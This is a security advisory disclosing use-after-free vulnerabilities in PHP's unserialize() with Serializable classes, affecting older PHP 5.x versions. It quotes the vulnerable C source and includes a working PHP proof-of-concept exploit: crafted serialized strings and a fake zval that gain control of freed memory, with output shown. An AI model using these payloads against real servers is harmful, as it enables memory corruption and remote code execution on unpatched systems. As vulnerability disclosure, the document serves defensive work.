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Use After Free Vulnerability in unserialize()

#Use After Free Vulnerabilities in unserialize()

Taoguang Chen <@chtg> - Write Date: 2015.7.31 - Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

	if (ce->unserialize == NULL) {
		zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
		object_init_ex(rval, ce);
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
		return 0;
	}

	(*p) += datalen;

	return finish_nested_data(UNSERIALIZE_PASSTHRU);

The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class

<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

?>

ii) Free the memory via the process_nested_data() with a invalid serialized string

static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
	while (elements-- > 0) {
		zval *key, *data, **old_data;

		...

		ALLOC_INIT_ZVAL(data);

		if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
			zval_dtor(key);
			FREE_ZVAL(key);
			zval_dtor(data);
			FREE_ZVAL(data);  <===  free the memory
			return 0;
		}

iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().

PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

	...
	
	while (var_hash) {
		for (i = 0; i < var_hash->used_slots; i++) {
			zval_ptr_dtor(&var_hash->data[i]);  <===  free the memory
		}
	
	...
	
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

	...
	
	if (*rval != NULL) {
		var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;

We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i) 
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
        $this->data = unserialize($data);
//		i)
//		$this->data = '1';
	}
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data"]=>
    bool(false)
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
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